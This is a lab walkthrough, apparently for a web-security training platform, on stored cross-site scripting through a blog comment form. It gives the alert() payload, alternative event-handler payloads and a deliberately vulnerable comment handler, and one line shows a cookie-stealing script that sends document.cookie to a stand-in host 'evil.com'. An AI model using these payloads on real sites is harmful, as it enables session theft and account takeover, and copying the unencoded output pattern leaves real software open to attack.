Goal:

  • ๐Ÿ” Understand stored (persistent) XSS vulnerabilities
  • ๐ŸŽฏ Identify vulnerable comment functionality
  • ๐Ÿ”Ž Exploit lack of input sanitization and output encoding
  • ๐Ÿ“Š Inject malicious JavaScript into database
  • ๐Ÿ” Execute JavaScript for all users viewing the page
  • ๐Ÿ’ก Learn how stored XSS differs from reflected XSS
  • ๐Ÿ—๏ธ Trigger alert() function to prove exploitation
  • โœ… Complete the lab with persistent XSS attack

๐Ÿง  Concept Recap

Stored Cross-Site Scripting (XSS) occurs when an application receives data from an untrusted source and includes that data in its later HTTP responses in an unsafe way. The malicious data is stored permanently (in a database, file system, or other storage) and executed whenever users view the affected page. This makes stored XSS more dangerous than reflected XSS because it affects all users who view the compromised content.

๐Ÿ“Š The Vulnerability

What is Stored XSS?

Stored XSS Attack Flow:

Step 1: Attacker submits malicious input
    โ†“
"<script>alert(1)</script>" โ†’ Submitted via comment form

Step 2: Application stores input in database
    โ†“
Database: comments table
โ”œโ”€โ”€ comment_text: "<script>alert(1)</script>"
โ”œโ”€โ”€ author: "Attacker"
โ””โ”€โ”€ timestamp: "2025-02-04"

Step 3: Victim requests the page
    โ†“
User visits: /blog/post/123

Step 4: Application retrieves data from database
    โ†“
SELECT comment_text FROM comments WHERE post_id = 123

Step 5: Application includes data in response (No Encoding!)
    โ†“
<div class="comment">
  <p><script>alert(1)</script></p>
</div>

Step 6: Victim's browser executes the script
    โ†“
Browser parses HTML โ†’ Encounters <script> โ†’ Executes JavaScript โš ๏ธ
The Problem:
โ””โ”€โ”€ Malicious script stored permanently
    โ””โ”€โ”€ Executes for EVERY user who views the page
    โ””โ”€โ”€ No user interaction needed (unlike reflected XSS)
    โ””โ”€โ”€ Can affect thousands of victims

Stored vs Reflected XSS:

Reflected XSS (Previous Lab):
โ”œโ”€โ”€ Payload in URL parameter
โ”œโ”€โ”€ Immediate execution (same request/response)
โ”œโ”€โ”€ Affects only users who click malicious link
โ”œโ”€โ”€ Requires social engineering
โ”œโ”€โ”€ One victim at a time
โ””โ”€โ”€ Example: /search?q=<script>alert(1)</script>

Stored XSS (This Lab):
โ”œโ”€โ”€ Payload stored in database
โ”œโ”€โ”€ Delayed execution (separate request)
โ”œโ”€โ”€ Affects ALL users who view the page
โ”œโ”€โ”€ No social engineering needed after initial injection
โ”œโ”€โ”€ Multiple victims automatically
โ””โ”€โ”€ Example: Comment stored in DB โ†’ Everyone sees it

Key Differences:
Persistence:
โ”œโ”€โ”€ Reflected: Non-persistent (URL only)
โ””โ”€โ”€ Stored: Persistent (database/storage)

Attack Vector:
โ”œโ”€โ”€ Reflected: Victim must click attacker's link
โ””โ”€โ”€ Stored: Automatic execution when viewing page

Scope of Impact:
โ”œโ”€โ”€ Reflected: Single victim per link
โ””โ”€โ”€ Stored: All visitors to the page

Detection Difficulty:
โ”œโ”€โ”€ Reflected: Easier to spot (in URL)
โ””โ”€โ”€ Stored: Harder to detect (in database)

Severity:
โ”œโ”€โ”€ Reflected: Medium to High
โ””โ”€โ”€ Stored: High to Critical

Vulnerable Code Pattern:

# Vulnerable Application (Conceptual)

# Step 1: Store comment without sanitization
def post_comment(request):
    comment = request.POST.get('comment')
    name = request.POST.get('name')
    
    # โŒ DANGEROUS: Store unsanitized user input
    db.execute(
        "INSERT INTO comments (text, author) VALUES (?, ?)",
        (comment, name)  # No sanitization!
    )
    
    return redirect('/blog/post/123')

# Step 2: Display comments without encoding
def view_post(request, post_id):
    comments = db.execute(
        "SELECT text, author FROM comments WHERE post_id = ?",
        (post_id,)
    )
    
    html = "<div class='comments'>"
    for comment in comments:
        # โŒ DANGEROUS: Direct output without encoding
        html += f"<p>{comment['text']}</p>"
    html += "</div>"
    
    return HttpResponse(html)

What happens:
โ”œโ”€โ”€ Attacker submits: <script>alert(1)</script>
โ”œโ”€โ”€ Stored in DB: <script>alert(1)</script>
โ”œโ”€โ”€ Retrieved from DB: <script>alert(1)</script>
โ”œโ”€โ”€ Output in HTML: <script>alert(1)</script>
โ”œโ”€โ”€ Browser executes: alert(1)
โ””โ”€โ”€ Every visitor gets attacked! โš ๏ธ

Attack Vector Breakdown:

The Payload: <script>alert(1)</script>

Injection Point: Comment form
โ”œโ”€โ”€ Comment text field
โ”œโ”€โ”€ Name field
โ”œโ”€โ”€ Email field
โ””โ”€โ”€ Website field (any might be vulnerable)

Storage Location: Database
โ”œโ”€โ”€ comments table
โ”œโ”€โ”€ blog_posts table
โ”œโ”€โ”€ user_profiles table
โ””โ”€โ”€ Any persistent storage

Execution Point: Blog post page
โ”œโ”€โ”€ When any user views the post
โ”œโ”€โ”€ When comments are loaded
โ”œโ”€โ”€ Automatic execution
โ””โ”€โ”€ No additional user action needed

Impact Scope:
โ”œโ”€โ”€ Admin views page โ†’ Compromised
โ”œโ”€โ”€ Regular user views page โ†’ Compromised
โ”œโ”€โ”€ Anonymous visitor views page โ†’ Compromised
โ””โ”€โ”€ EVERYONE who views the page is affected!

Why it's more dangerous than reflected XSS:
โ””โ”€โ”€ One injection โ†’ Multiple victims
    โ””โ”€โ”€ Persistent attack
    โ””โ”€โ”€ Harder to remove
    โ””โ”€โ”€ Greater impact
    โ””โ”€โ”€ Affects trust in website

Real-World Stored XSS Scenarios:

Common Vulnerable Features:

1. Comment Systems
   โ”œโ”€โ”€ Blog comments (this lab)
   โ”œโ”€โ”€ Product reviews
   โ”œโ”€โ”€ Forum posts
   โ””โ”€โ”€ Social media comments

2. User Profiles
   โ”œโ”€โ”€ Bio/description fields
   โ”œโ”€โ”€ Username display
   โ”œโ”€โ”€ Profile pictures (file metadata)
   โ””โ”€โ”€ Social links

3. Message Systems
   โ”œโ”€โ”€ Private messages
   โ”œโ”€โ”€ Chat applications
   โ”œโ”€โ”€ Email web clients
   โ””โ”€โ”€ Notification messages

4. Content Management
   โ”œโ”€โ”€ Blog post content
   โ”œโ”€โ”€ Wiki pages
   โ”œโ”€โ”€ News articles
   โ””โ”€โ”€ User-generated content

5. File Uploads
   โ”œโ”€โ”€ File names displayed
   โ”œโ”€โ”€ File descriptions
   โ”œโ”€โ”€ SVG files (contain XML/scripts)
   โ””โ”€โ”€ HTML file uploads

Each becomes a persistent attack vector if not properly sanitized!

Real-World Impact:

What attackers achieve with Stored XSS:

1. Mass Cookie Theft
   โ””โ”€โ”€ Script: <script>fetch('evil.com?c='+document.cookie)</script>
   โ””โ”€โ”€ Impact: Steal sessions of ALL users
   โ””โ”€โ”€ Result: Mass account takeover

2. Worm/Self-Propagating XSS
   โ””โ”€โ”€ Script posts itself to more comments
   โ””โ”€โ”€ Each victim becomes attacker
   โ””โ”€โ”€ Viral spread across platform
   โ””โ”€โ”€ Example: Samy worm (MySpace 2005)

3. Defacement
   โ””โ”€โ”€ Replace page content for all users
   โ””โ”€โ”€ Damage brand reputation
   โ””โ”€โ”€ Insert political/malicious messages
   โ””โ”€โ”€ Persistent until cleaned

4. Cryptocurrency Mining
   โ””โ”€โ”€ Inject crypto-mining JavaScript
   โ””โ”€โ”€ Uses CPU of all visitors
   โ””โ”€โ”€ Passive income for attacker
   โ””โ”€โ”€ Slows down victim browsers

5. Admin Compromise
   โ””โ”€โ”€ Admin views infected page
   โ””โ”€โ”€ XSS steals admin session
   โ””โ”€โ”€ Attacker gains admin access
   โ””โ”€โ”€ Full site compromise

6. Phishing at Scale
   โ””โ”€โ”€ Inject fake login forms
   โ””โ”€โ”€ All users see malicious form
   โ””โ”€โ”€ Harvest credentials en masse
   โ””โ”€โ”€ Trusted site used against users

๐Ÿ› ๏ธ Step-by-Step Attack

๐Ÿ”ง Step 1 โ€” Access Lab Environment

  1. ๐ŸŒ Click "Access the lab" button
  2. ๐Ÿ” Configure Burp Suite proxy (optional โ€” for traffic analysis)
  3. ๐Ÿ“ฑ Wait for lab environment to fully initialize

Lab interface:

Lab Environment
โ”œโ”€โ”€ Blog/article website loads
โ”œโ”€โ”€ Multiple blog posts visible
โ”œโ”€โ”€ Each post has comment section
โ”œโ”€โ”€ Navigation menu
โ””โ”€โ”€ Comment form at bottom of posts

4. โœ… Lab is ready when page fully loads

Expected homepage:

Blog Homepage
โ”œโ”€โ”€ Header/Navigation
โ”œโ”€โ”€ Blog post listings
โ”‚   โ”œโ”€โ”€ Post 1: Title + excerpt
โ”‚   โ”œโ”€โ”€ Post 2: Title + excerpt
โ”‚   โ””โ”€โ”€ Post 3: Title + excerpt
โ”œโ”€โ”€ "View post" links
โ””โ”€โ”€ Footer

๐Ÿ“ Step 2 โ€” Navigate to a Blog Post

  1. ๐Ÿ‘€ Look for blog post listings on the homepage
  2. ๐Ÿ–ฑ๏ธ Click on any "View post" or blog post title link

Blog post selection:

Available Posts:
โ”œโ”€โ”€ [View post] โ†’ First blog post
โ”œโ”€โ”€ [View post] โ†’ Second blog post
โ”œโ”€โ”€ [View post] โ†’ Third blog post
โ””โ”€โ”€ Click any one to access

Typical URL structure:
/post?postId=1
/post?postId=2
/post?postId=3

3. โœ… You should now be viewing a single blog post

Blog post page:

Blog Post View
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  Post Title                        โ”‚
โ”‚  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€     โ”‚
โ”‚                                    โ”‚
โ”‚  Blog post content goes here...    โ”‚
โ”‚  Multiple paragraphs of text.      โ”‚
โ”‚                                    โ”‚
โ”‚  Posted by: Admin                  โ”‚
โ”‚  Date: 2025-02-04                  โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Comments Section (Below Post)
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  ๐Ÿ“ Leave a comment                โ”‚
โ”‚                                    โ”‚
โ”‚  [Comment text area]               โ”‚
โ”‚  [Name field]                      โ”‚
โ”‚  [Email field]                     โ”‚
โ”‚  [Website field]                   โ”‚
โ”‚  [Post comment button]             โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Existing comments may appear above form

๐Ÿ” Step 3 โ€” Locate Comment Functionality

  1. ๐Ÿ“œ Scroll down to the bottom of the blog post
  2. ๐Ÿ”Ž Find the "Leave a comment" section

Comment form structure:

Comment Form
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  Leave a Comment                   โ”‚
โ”‚  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€     โ”‚
โ”‚                                    โ”‚
โ”‚  Comment:                          โ”‚
โ”‚  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”‚
โ”‚  โ”‚ [Text area for comment]      โ”‚  โ”‚
โ”‚  โ”‚                              โ”‚  โ”‚
โ”‚  โ”‚                              โ”‚  โ”‚
โ”‚  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ”‚
โ”‚                                    โ”‚
โ”‚  Name:                             โ”‚
โ”‚  [________________]                โ”‚
โ”‚                                    โ”‚
โ”‚  Email:                            โ”‚
โ”‚  [________________]                โ”‚
โ”‚                                    โ”‚
โ”‚  Website:                          โ”‚
โ”‚  [________________]                โ”‚
โ”‚                                    โ”‚
โ”‚  [Post Comment]                    โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Key observations:
โ”œโ”€โ”€ Comment field: Large text area (main target)
โ”œโ”€โ”€ Name field: Text input
โ”œโ”€โ”€ Email field: Text input
โ”œโ”€โ”€ Website field: Text input
โ””โ”€โ”€ All fields potentially vulnerable

HTML structure (View Source):

<form action="/post/comment" method="POST">
  <textarea name="comment" rows="5" cols="50"></textarea>
  <input type="text" name="name" placeholder="Name">
  <input type="email" name="email" placeholder="Email">
  <input type="text" name="website" placeholder="Website">
  <button type="submit">Post Comment</button>
</form>

๐Ÿงช Step 4 โ€” Test for Input Storage and Reflection

Try a safe test comment first:

  1. โœ๏ธ Click in the Comment text area
  2. ๐Ÿ“ Type: This is a test comment
  3. โœ๏ธ Fill in Name: TestUser
  4. โœ๏ธ Fill in Email: test@test.com
  5. โœ๏ธ Fill in Website: http://test.com
  6. ๐Ÿ” Click Post Comment

Observe what happens:

After submitting:
โ”œโ”€โ”€ Page redirects or reloads
โ”œโ”€โ”€ Comment appears on the page
โ”œโ”€โ”€ Your comment is now visible:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  TestUser                          โ”‚
โ”‚  โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€                     โ”‚
โ”‚  This is a test comment            โ”‚
โ”‚                                    โ”‚
โ”‚  Posted: Just now                  โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Confirmation:
โ””โ”€โ”€ Comment was stored โœ“
    โ””โ”€โ”€ Comment is displayed โœ“
    โ””โ”€โ”€ Persists on page refresh โœ“
    โ””โ”€โ”€ Visible to all visitors โœ“

Verify persistence:

Test 1: Refresh the page
โ”œโ”€โ”€ Press F5 or reload
โ”œโ”€โ”€ Comment still appears โœ“
โ””โ”€โ”€ Confirms: Stored in database

Test 2: Open in new tab/window
โ”œโ”€โ”€ Navigate to same blog post
โ”œโ”€โ”€ Comment appears there too โœ“
โ””โ”€โ”€ Confirms: Not session-specific

Test 3: View from different browser (optional)
โ”œโ”€โ”€ Open in incognito/private mode
โ”œโ”€โ”€ Comment visible โœ“
โ””โ”€โ”€ Confirms: Persistent storage

๐Ÿ”ฌ Step 5 โ€” Test for HTML Encoding

Test with HTML special characters:

  1. โœ๏ธ Create a new comment
  2. ๐Ÿ“ In the Comment field, type: <test>
  3. โœ๏ธ Fill in Name: TestUser2
  4. โœ๏ธ Fill in Email: test@test.com
  5. โœ๏ธ Fill in Website: http://test.com
  6. ๐Ÿ” Click Post Comment

Analyze the response:

If properly encoded (SAFE):
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
TestUser2
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
<test>
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
Browser displays: <test> as text
View Source shows: <test>
Result: Encoded = Not vulnerable โœ—

If NOT encoded (VULNERABLE):
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
TestUser2
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
(Nothing visible or broken HTML)
โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
View Source shows: <test>
Result: NOT encoded = Vulnerable! โœ“
How to verify:
โ””โ”€โ”€ Right-click โ†’ "View Page Source"
    โ””โ”€โ”€ Find your comment in the HTML
    โ””โ”€โ”€ Look for: <test> (raw) or <test> (encoded)
    โ””โ”€โ”€ If raw = Vulnerable to XSS

In this lab:

Expected result:
โ””โ”€โ”€ <test> appears as raw HTML in source
    โ””โ”€โ”€ No encoding applied
    โ””โ”€โ”€ HTML special characters not escaped
    โ””โ”€โ”€ Vulnerable to stored XSS โœ“

๐ŸŽฏ Step 6 โ€” Craft XSS Payload

The classic stored XSS payload:

<script>alert(1)</script>

Why this payload works:

Payload Components:

<script>
โ”œโ”€โ”€ HTML script tag
โ”œโ”€โ”€ Tells browser to execute JavaScript
โ”œโ”€โ”€ Self-closing or needs </script>
โ””โ”€โ”€ Browser's JavaScript engine activates

alert(1)
โ”œโ”€โ”€ JavaScript function
โ”œโ”€โ”€ Creates modal alert dialog
โ”œโ”€โ”€ Argument: 1 (any value works)
โ”œโ”€โ”€ Proof of JavaScript execution
โ””โ”€โ”€ Lab detection mechanism

</script>
โ”œโ”€โ”€ Closing tag
โ”œโ”€โ”€ Completes the script element
โ”œโ”€โ”€ Proper HTML syntax
โ””โ”€โ”€ Ends JavaScript block

Execution Flow:
1. Payload stored in database
   โ””โ”€โ”€ comment_text = "<script>alert(1)</script>"
2. Page loads and retrieves comments
   โ””โ”€โ”€ SELECT comment_text FROM comments
3. Comments inserted into HTML
   โ””โ”€โ”€ <div class="comment"><script>alert(1)</script></div>
4. Browser parses HTML
   โ””โ”€โ”€ Encounters <script> tag
5. Browser executes JavaScript
   โ””โ”€โ”€ Calls alert(1) function
6. Alert box appears
   โ””โ”€โ”€ Proof of successful XSS โœ“

Alternative payloads that also work:
โ”œโ”€โ”€ <img src=x onerror=alert(1)>
โ”œโ”€โ”€ <svg onload=alert(1)>
โ”œโ”€โ”€ <body onload=alert(1)>
โ”œโ”€โ”€ <iframe src="javascript:alert(1)">
โ””โ”€โ”€ <details open ontoggle=alert(1)>

For this lab, use: <script>alert(1)</script>

๐Ÿ’‰ Step 7 โ€” Inject Stored XSS Payload

Execute the stored XSS attack:

  1. โœ๏ธ Scroll to the comment form
  2. ๐Ÿ“ In the Comment field, enter:
<script>alert(1)</script>

3. โœ๏ธ Fill in Name: Attacker (or any name)

4. โœ๏ธ Fill in Email: attacker@evil.com (or any email)

5. โœ๏ธ Fill in Website: http://evil.com (or any URL)

6. ๐Ÿ” Click Post Comment

Form submission:

Comment Form Fields:
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  Comment:                          โ”‚
โ”‚  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”‚
โ”‚  โ”‚ <script>alert(1)</script>    โ”‚  โ”‚
โ”‚  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ”‚
โ”‚                                    โ”‚
โ”‚  Name: Attacker                    โ”‚
โ”‚  Email: attacker@evil.com          โ”‚
โ”‚  Website: http://evil.com          โ”‚
โ”‚                                    โ”‚
โ”‚  [Post Comment] โ† Click here       โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

What happens internally:
โ”œโ”€โ”€ Browser sends POST request
โ”œโ”€โ”€ Server receives: comment = "<script>alert(1)</script>"
โ”œโ”€โ”€ Server stores in database (no sanitization)
โ”œโ”€โ”€ Page redirects/reloads
โ””โ”€โ”€ Comments retrieved and displayed

โœ… Step 8 โ€” Verify Stored XSS Execution

After clicking "Post Comment":

Scenario 1: Immediate Execution
โ”œโ”€โ”€ Page reloads after comment submission
โ”œโ”€โ”€ Comments retrieved from database
โ”œโ”€โ”€ Your malicious comment included in HTML
โ”œโ”€โ”€ Browser parses the HTML
โ”œโ”€โ”€ Encounters: <script>alert(1)</script>
โ”œโ”€โ”€ Executes: alert(1)
โ””โ”€โ”€ Alert box appears immediately! ๐Ÿ’ฅ

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  โš ๏ธ This page says:         โ”‚
โ”‚                             โ”‚
โ”‚  1                          โ”‚
โ”‚                             โ”‚
โ”‚         [  OK  ]            โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

This proves:
โ”œโ”€โ”€ JavaScript executed โœ“
โ”œโ”€โ”€ Stored XSS successful โœ“
โ”œโ”€โ”€ Payload persisted in database โœ“
โ””โ”€โ”€ Will execute for ALL future visitors โœ“

If alert doesn't appear immediately:

Scenario 2: Navigation Required
โ”œโ”€โ”€ Some labs require you to navigate back
โ”œโ”€โ”€ Follow the lab instructions:
โ””โ”€โ”€ "Go back to the blog"

Steps:
1. Click browser back button
   โ””โ”€โ”€ OR click "Back to blog" link
   โ””โ”€โ”€ OR navigate to the blog post URL manually
2. View the blog post with your comment
   โ””โ”€โ”€ Comments load from database
   โ””โ”€โ”€ Your XSS payload loads
   โ””โ”€โ”€ Alert appears! ๐Ÿ’ฅ

Why this happens:
โ””โ”€โ”€ Some apps redirect after comment submission
    โ””โ”€โ”€ Redirect happens before comment display
    โ””โ”€โ”€ Need to navigate back to see stored comments
    โ””โ”€โ”€ Once viewed, XSS executes

Click OK on the alert:

After clicking OK:
โ””โ”€โ”€ Alert closes
    โ””โ”€โ”€ Page finishes rendering
    โ””โ”€โ”€ Your comment visible on page
    โ””โ”€โ”€ Lab system detected alert() execution
    โ””โ”€โ”€ Lab may auto-complete now

๐Ÿ† Step 9 โ€” Lab Completion

Automatic verification:

Lab System Detection:
โ”œโ”€โ”€ Monitors for alert() execution
โ”œโ”€โ”€ Detects: Alert box was triggered
โ”œโ”€โ”€ Validates: Stored XSS successfully executed
โ”œโ”€โ”€ Checks: Payload stored and executed from storage
โ””โ”€โ”€ Marks lab as: SOLVED โœ“

Success Banner:
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  โœ… Congratulations!                 โ”‚
โ”‚                                      โ”‚
โ”‚  You solved the lab:                 โ”‚
โ”‚  Stored XSS into HTML context        โ”‚
โ”‚  with nothing encoded                โ”‚
โ”‚                                      โ”‚
โ”‚  Lab Status: SOLVED โœ“                โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Persistence verification:

Test the persistent nature:

1. Refresh the page
   โ”œโ”€โ”€ Alert appears again! โœ“
   โ””โ”€โ”€ Proves: Stored permanently

2. Open in new tab
   โ”œโ”€โ”€ Navigate to same blog post
   โ”œโ”€โ”€ Alert appears! โœ“
   โ””โ”€โ”€ Proves: Affects all viewers

3. Open in different browser (if available)
   โ”œโ”€โ”€ Visit same blog post URL
   โ”œโ”€โ”€ Alert appears! โœ“
   โ””โ”€โ”€ Proves: Not session-specific

This demonstrates:
โ””โ”€โ”€ Stored XSS persists
    โ””โ”€โ”€ Every visitor gets attacked
    โ””โ”€โ”€ No additional action needed
    โ””โ”€โ”€ More dangerous than reflected XSS

๐Ÿ”— Complete Attack Chain

Step 1: Access lab environment
         โ”œโ”€โ”€ Click "Access the lab"
         โ”œโ”€โ”€ Wait for blog site to load
         โ””โ”€โ”€ Homepage with blog posts appears
         โ†“
Step 2: Navigate to blog post
         โ”œโ”€โ”€ Click "View post" on any blog entry
         โ”œโ”€โ”€ Blog post page loads
         โ””โ”€โ”€ Comment section visible at bottom
         โ†“
Step 3: Locate comment form
         โ”œโ”€โ”€ Scroll to "Leave a comment"
         โ”œโ”€โ”€ Observe form fields:
         โ”‚   โ”œโ”€โ”€ Comment (text area)
         โ”‚   โ”œโ”€โ”€ Name (text input)
         โ”‚   โ”œโ”€โ”€ Email (text input)
         โ”‚   โ””โ”€โ”€ Website (text input)
         โ””โ”€โ”€ Comment form ready for input
         โ†“
Step 4: Test normal comment
         โ”œโ”€โ”€ Enter: "This is a test comment"
         โ”œโ”€โ”€ Fill name, email, website
         โ”œโ”€โ”€ Click: Post Comment
         โ”œโ”€โ”€ Comment appears on page โœ“
         โ””โ”€โ”€ Confirms: Storage and display work
         โ†“
Step 5: Test for encoding
         โ”œโ”€โ”€ Submit comment: "<test>"
         โ”œโ”€โ”€ View page source
         โ”œโ”€โ”€ Check: Raw <test> or <test>?
         โ”œโ”€โ”€ Result: Raw <test> visible
         โ””โ”€โ”€ No encoding = Vulnerable! โœ“
         โ†“
Step 6: Craft XSS payload
         โ”œโ”€โ”€ Payload: <script>alert(1)</script>
         โ”œโ”€โ”€ Will be stored in database
         โ”œโ”€โ”€ Will execute for all viewers
         โ””โ”€โ”€ Ready to inject
         โ†“
Step 7: Inject stored XSS
         โ”œโ”€โ”€ Comment field: <script>alert(1)</script>
         โ”œโ”€โ”€ Name: Attacker
         โ”œโ”€โ”€ Email: attacker@evil.com
         โ”œโ”€โ”€ Website: http://evil.com
         โ””โ”€โ”€ Click: Post Comment
         โ†“
Step 8: Observe execution
         โ”œโ”€โ”€ Page reloads or redirects
         โ”œโ”€โ”€ Navigate back to blog post (if needed)
         โ”œโ”€โ”€ Comments load from database
         โ”œโ”€โ”€ Malicious comment included in HTML
         โ”œโ”€โ”€ Browser encounters: <script> tag
         โ”œโ”€โ”€ Executes: alert(1)
         โ”œโ”€โ”€ Alert box appears! ๐Ÿ’ฅ
         โ””โ”€โ”€ Stored XSS confirmed! โœ“
         โ†“
Step 9: Verify persistence
         โ”œโ”€โ”€ Click: OK on alert
         โ”œโ”€โ”€ Refresh: Page โ†’ Alert appears again โœ“
         โ”œโ”€โ”€ New tab: Alert appears โœ“
         โ””โ”€โ”€ Proves: Permanently stored
         โ†“
Step 10: Lab completion
         โ”œโ”€โ”€ Lab system: Detects alert()
         โ”œโ”€โ”€ Validation: Stored XSS verified
         โ”œโ”€โ”€ Status: SOLVED โœ“
